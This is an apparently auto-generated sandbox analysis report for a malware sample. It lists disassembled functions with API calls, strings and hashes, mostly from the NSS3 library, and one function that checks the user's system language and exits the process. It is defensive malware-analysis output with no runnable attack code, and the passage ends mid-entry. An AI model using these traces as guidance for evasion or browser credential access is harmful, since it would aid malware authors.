Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 580618fce939227c9ea723541a4b1ee610ef243f107e3aead072b7b05bc5d1f2
Instruction ID: 53a0efdfcab9b72f9437f5c3c398762fb60fae337f3be220a1f8b5355e98cacd
Opcode Fuzzy Hash: 580618fce939227c9ea723541a4b1ee610ef243f107e3aead072b7b05bc5d1f2
Instruction Fuzzy Hash: 81F02421F495682FE7205016CF20FC733554FA331EF060DA1EE046BF52D2459C64C284

Function 6C804DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C804E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C804E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C804E38
%s at line %d of [%.10s], xrefs: 6C804E47
misuse, xrefs: 6C804E42
API call with %s database connection pointer, xrefs: 6C804E2A
invalid, xrefs: 6C804E25

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 586ebd560aa2ff16016b5b6d4e8c39c9cf43cca73279905e7996009f80ccdcaa
Instruction ID: d38a98ee46a6dadb92ff6d4b574a7fea662b0fdc51457ab5bde6ef14c09b8f35
Opcode Fuzzy Hash: 586ebd560aa2ff16016b5b6d4e8c39c9cf43cca73279905e7996009f80ccdcaa
Instruction Fuzzy Hash: 2AF0E921FC95282FD63010169F10FC737854BA2339F094CA1EB0567FA2D205A8645295

Function 00416A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14
ExitProcess.KERNEL32 ref: 00416A45
ExitProcess.KERNEL32 ref: 00416A4F
ExitProcess.KERNEL32 ref: 00416A59
ExitProcess.KERNEL32 ref: 00416A63
ExitProcess.KERNEL32 ref: 00416A6D

Strings

*, xrefs: 00416A2C

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction ID: 485b87df60e927c5081145715141aeea1c9fd48c6e3f29f258bd7afdae13bdb0
Opcode Fuzzy Hash: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction Fuzzy Hash: AFF0E232D8E218EFD3409FE0EC0979CFB31EB05707F064296F60996190E6708A80CB52

Function 6C770C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C771444,?,00000001,?,00000000,00000000,?,?,6C771444,?,?,00000000,?,?), ref: 6C770CB3

Part of subcall function 6C7DC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7DC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C771444,?,00000001,?,00000000,00000000,?,?,6C771444,?), ref: 6C770DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C771444,?,00000001,?,00000000,00000000,?,?,6C771444,?), ref: 6C770DEC

Part of subcall function 6C790F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C732AF5,?,?,?,?,?,6C730A1B,00000000), ref: 6C790F1A
Part of subcall function 6C790F10: malloc.MOZGLUE(00000001), ref: 6C790F30
Part of subcall function 6C790F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C790F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C771444,?,00000001,?,00000000,00000000,?), ref: 6C770DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C771444,?,00000001,?,00000000), ref: 6C770E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C771444,?,00000001,?,00000000,00000000,?), ref: 6C770E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C771444,?,00000001,?,00000000,00000000,?,?,6C771444,?,?,00000000), ref: 6C770E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C771444,?,00000001,?,00000000,00000000,?), ref: 6C770E79

Part of subcall function 6C781560: TlsGetValue.KERNEL32(00000000,?,6C750844,?), ref: 6C78157A
Part of subcall function 6C781560: EnterCriticalSection.KERNEL32(?,?,?,6C750844,?), ref: 6C78158F
Part of subcall function 6C781560: PR_Unlock.NSS3(?,?,?,?,6C750844,?), ref: 6C7815B2

Part of subcall function 6C74B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C751397,00000000,?,6C74CF93,5B5F5EC0,00000000,?,6C751397,?), ref: 6C74B1CB
Part of subcall function 6C74B1A0: free.MOZGLUE(5B5F5EC0,?,6C74CF93,5B5F5EC0,00000000,?,6C751397,?), ref: 6C74B1D2

Part of subcall function 6C7489E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7488AE,-00000008), ref: 6C748A04
Part of subcall function 6C7489E0: EnterCriticalSection.KERNEL32(?), ref: 6C748A15
Part of subcall function 6C7489E0: memset.VCRUNTIME140(6C7488AE,00000000,00000132), ref: 6C748A27
Part of subcall function 6C7489E0: PR_Unlock.NSS3(?), ref: 6C748A35

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 2b9a0487379e5b5c0002081fd47ffc32c9745d614cf4019df58782177874bea5
Instruction ID: 0f4494605ebbd84613b2328746005e7a145a58ddad612348f9b3a62647f40076
Opcode Fuzzy Hash: 2b9a0487379e5b5c0002081fd47ffc32c9745d614cf4019df58782177874bea5
Instruction Fuzzy Hash: F251C7F5D002045FEB109F64DE89AAB37A89F0525CF550474EC1597B12FB32ED1986B2

Function 6C726E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C726ED8
sqlite3_value_text.NSS3(?,?), ref: 6C726EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C726FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C726FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C726FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C727010
sqlite3_value_blob.NSS3(?,?), ref: 6C72701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C727052

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: ee0b8f98f5ad6568b0b2c2d3948456a2ed28c88477893062d79007b37bcdd56b
Instruction ID: e17ec33e1b9f0f2e0756cde4824bfe79d718687321b8aa82249ac64bcc3758aa
Opcode Fuzzy Hash: ee0b8f98f5ad6568b0b2c2d3948456a2ed28c88477893062d79007b37bcdd56b
Instruction Fuzzy Hash: AF61D4B1E142458BDF20CF64CB447EEB7B2AF85308F28417AD814AB751E7399E09CB90

Function 6C749C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C748850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C750715), ref: 6C748859
Part of subcall function 6C748850: PR_NewLock.NSS3 ref: 6C748874
Part of subcall function 6C748850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C74888D

PR_NewLock.NSS3 ref: 6C749CAD

Part of subcall function 6C7F98D0: calloc.MOZGLUE(00000001,00000084,6C720936,00000001,?,6C72102C), ref: 6C7F98E5

Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207AD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207CD
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6B204A), ref: 6C7207D6
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6B204A), ref: 6C7207E4
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,6C6B204A), ref: 6C720864
Part of subcall function 6C7207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C720880
Part of subcall function 6C7207A0: TlsSetValue.KERNEL32(00000000,?,?,6C6B204A), ref: 6C7208CB
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208D7
Part of subcall function 6C7207A0: TlsGetValue.KERNEL32(?,?,6C6B204A), ref: 6C7208FB

TlsGetValue.KERNEL32 ref: 6C749CE8
EnterCriticalSection.KERNEL32(?,?,6C74ECEC,6C752FCD,00000000,?,6C752FCD,?), ref: 6C749D01
TlsGetValue.KERNEL32(?,?,?,6C74ECEC,6C752FCD,00000000,?,6C752FCD,?), ref: 6C749D38
EnterCriticalSection.KERNEL32(?,?,6C74ECEC,6C752FCD,00000000,?,6C752FCD,?), ref: 6C749D4D
PR_Unlock.NSS3 ref: 6C749D70
PR_Unlock.NSS3 ref: 6C749DC3
PR_NewLock.NSS3 ref: 6C749DDD

Part of subcall function 6C7488D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C750725,00000000,00000058), ref: 6C748906
Part of subcall function 6C7488D0: EnterCriticalSection.KERNEL32(?), ref: 6C74891A
Part of subcall function 6C7488D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C74894A
Part of subcall function 6C7488D0: calloc.MOZGLUE(00000001,6C75072D,00000000,00000000,00000000,?,6C750725,00000000,00000058), ref: 6C748959
Part of subcall function 6C7488D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C748993
Part of subcall function 6C7488D0: PR_Unlock.NSS3(?), ref: 6C7489AF

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 71e99948191aad787770037edd1f45871fd4169ac217cc9b1eb79661ecf9a92d
Instruction ID: 319c14d0952122bef076854afe718ce29373928f5775b8960451d4519726ac44
Opcode Fuzzy Hash: 71e99948191aad787770037edd1f45871fd4169ac217cc9b1eb79661ecf9a92d
Instruction Fuzzy Hash: 6A515C70A056059FDB00EF68C3896AABBF8BF55348F15C529D8989BB04EB30E844CFD1

Function 6C849EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C849EC0
EnterCriticalSection.KERNEL32(?), ref: 6C849EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C849F73
EnterCriticalSection.KERNEL32(?), ref: 6C849FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C849FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C849FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C84A01D

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: fc8367d7cc4f39759e167927cc0e36c39a3355c6a45c6cd2b97af00ec9abf9fe
Instruction ID: d3fe9af329174e48cdeda977893c52019d13f4d1f9dc3bd945a2a32081d2ebb8
Opcode Fuzzy Hash: fc8367d7cc4f39759e167927cc0e36c39a3355c6a45c6cd2b97af00ec9abf9fe
Instruction Fuzzy Hash: 2C51A3B2800608DBCB309F25D68868AB7F4FF14319F15896AD8695BB16E731F885CFD1

Function 6C73DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C73DCFA

Part of subcall function 6C7F9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C840A27), ref: 6C7F9DC6
Part of subcall function 6C7F9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C840A27), ref: 6C7F9DD1
Part of subcall function 6C7F9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7F9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C73DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C73DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C73DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C73DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C73DD8F

Part of subcall function 6C7506A0: TlsGetValue.KERNEL32 ref: 6C7506C2
Part of subcall function 6C7506A0: EnterCriticalSection.KERNEL32(?), ref: 6C7506D6
Part of subcall function 6C7506A0: PR_Unlock.NSS3 ref: 6C7506EB

CERT_DestroyCertificate.NSS3(?), ref: 6C73DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C73DDB7

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 6988f078b35169641c8fbff51b1f66d4e2f28a10f2cda0e5d44ddae90449bd73
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: A221D1B2E201359BDF029E94DE469DEB7B4AF25208B141031EC1CA7712F731E914CBE1

Function 6C733C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C7A460B,?,?), ref: 6C733CA9
EnterCriticalSection.KERNEL32(?), ref: 6C733CB9
PL_HashTableLookup.NSS3(?), ref: 6C733CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C733CD6
PR_Unlock.NSS3 ref: 6C733CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C733CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C733D03
PR_Unlock.NSS3 ref: 6C733D15

Part of subcall function 6C7DDD70: TlsGetValue.KERNEL32 ref: 6C7DDD8C
Part of subcall function 6C7DDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7DDDB4

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: e7eb9b71363445b11ac87b80d382e07b707fdf1d7a2894d71f05a1cb3b9f8fb7
Instruction ID: 9f61e1833e9bf19e36f45320b7b31c245961fe4bc0529abf28b57b53e1a02489
Opcode Fuzzy Hash: e7eb9b71363445b11ac87b80d382e07b707fdf1d7a2894d71f05a1cb3b9f8fb7
Instruction Fuzzy Hash: 1B112C76E41524A7DF221E38DE0E8E63A38EB0225CB154130ED1C97713F721D859C7E1

Function 6C739C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7511C0: PR_NewLock.NSS3 ref: 6C751216

free.MOZGLUE(?), ref: 6C739E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C739E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C739E4E
TlsGetValue.KERNEL32 ref: 6C739EA2

Part of subcall function 6C749500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C749546

EnterCriticalSection.KERNEL32(?), ref: 6C739EB6
PR_Unlock.NSS3 ref: 6C739ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C739F18

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 8c09f612d849658df1af3b6950b8518c60a9dda906cd4b7001aef95fc60adad6
Instruction ID: 788ebe0ce65ab19127b1ed476722703c26e8cce745135f9c0edffadc509e5ed3
Opcode Fuzzy Hash: 8c09f612d849658df1af3b6950b8518c60a9dda906cd4b7001aef95fc60adad6
Instruction Fuzzy Hash: 418129B6A002119BE7109F38DE49AABB7A9BF6524CF145538EC4987B42FF31E814C7D1

Function 6C74DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C74AB10: DeleteCriticalSection.KERNEL32(D958E852,6C751397,5B5F5EC0,?,?,6C74B1EE,2404110F,?,?), ref: 6C74AB3C
Part of subcall function 6C74AB10: free.MOZGLUE(D958E836,?,6C74B1EE,2404110F,?,?), ref: 6C74AB49
Part of subcall function 6C74AB10: DeleteCriticalSection.KERNEL32(5D5E6C94), ref: 6C74AB5C
Part of subcall function 6C74AB10: free.MOZGLUE(5D5E6C88), ref: 6C74AB63
Part of subcall function 6C74AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C74AB6F
Part of subcall function 6C74AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C74AB76

TlsGetValue.KERNEL32 ref: 6C74DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C74DD0E
PK11_IsFriendly.NSS3(?), ref: 6C74DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C74DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C74DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C74DEA6
PR_Unlock.NSS3(?), ref: 6C74DF08

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 5236a5be2eab81557c39557f4732a635a60897dd4a3e2e8005c3a750dfc7102d
Instruction ID: 15edaa8c3f9fa88a23fb6a69f0d18ac17db7a7ea0aefd7f175952f4f4f549390
Opcode Fuzzy Hash: 5236a5be2eab81557c39557f4732a635a60897dd4a3e2e8005c3a750dfc7102d
Instruction Fuzzy Hash: B19102B4A001059FEB10CF68CA89BAAB7B5BF64308F14C039DD599BB41E731E815CBE5

Function 6C722D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C722D69

Strings

winTruncate2, xrefs: 6C722EF8
winUnmapfile1, xrefs: 6C722F55
winTruncate1, xrefs: 6C722EBE
winSeekFile, xrefs: 6C722E9C
winUnmapfile2, xrefs: 6C722F7F

Memory Dump Source

Source File: 00000000.00000002.2213919946.000000006C6B1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C6B0000, based on PE: true

Associated: 00000000.00000002.2213886309.000000006C6B0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214151574.000000006C84F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214200542.000000006C88E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214233274.000000006C88F000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214265424.000000006C890000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2214297181.000000006C895000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6b0000_xLgTQcFdIJ.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: a2256cdb54d5a480941fbff439a5fab9c28263725f1ecdbd9524d1deca488d55
Instruction ID: 8dad50302d7779261e66ca3e99243d85f4b6a24f4967f9831ae8469bb814c186
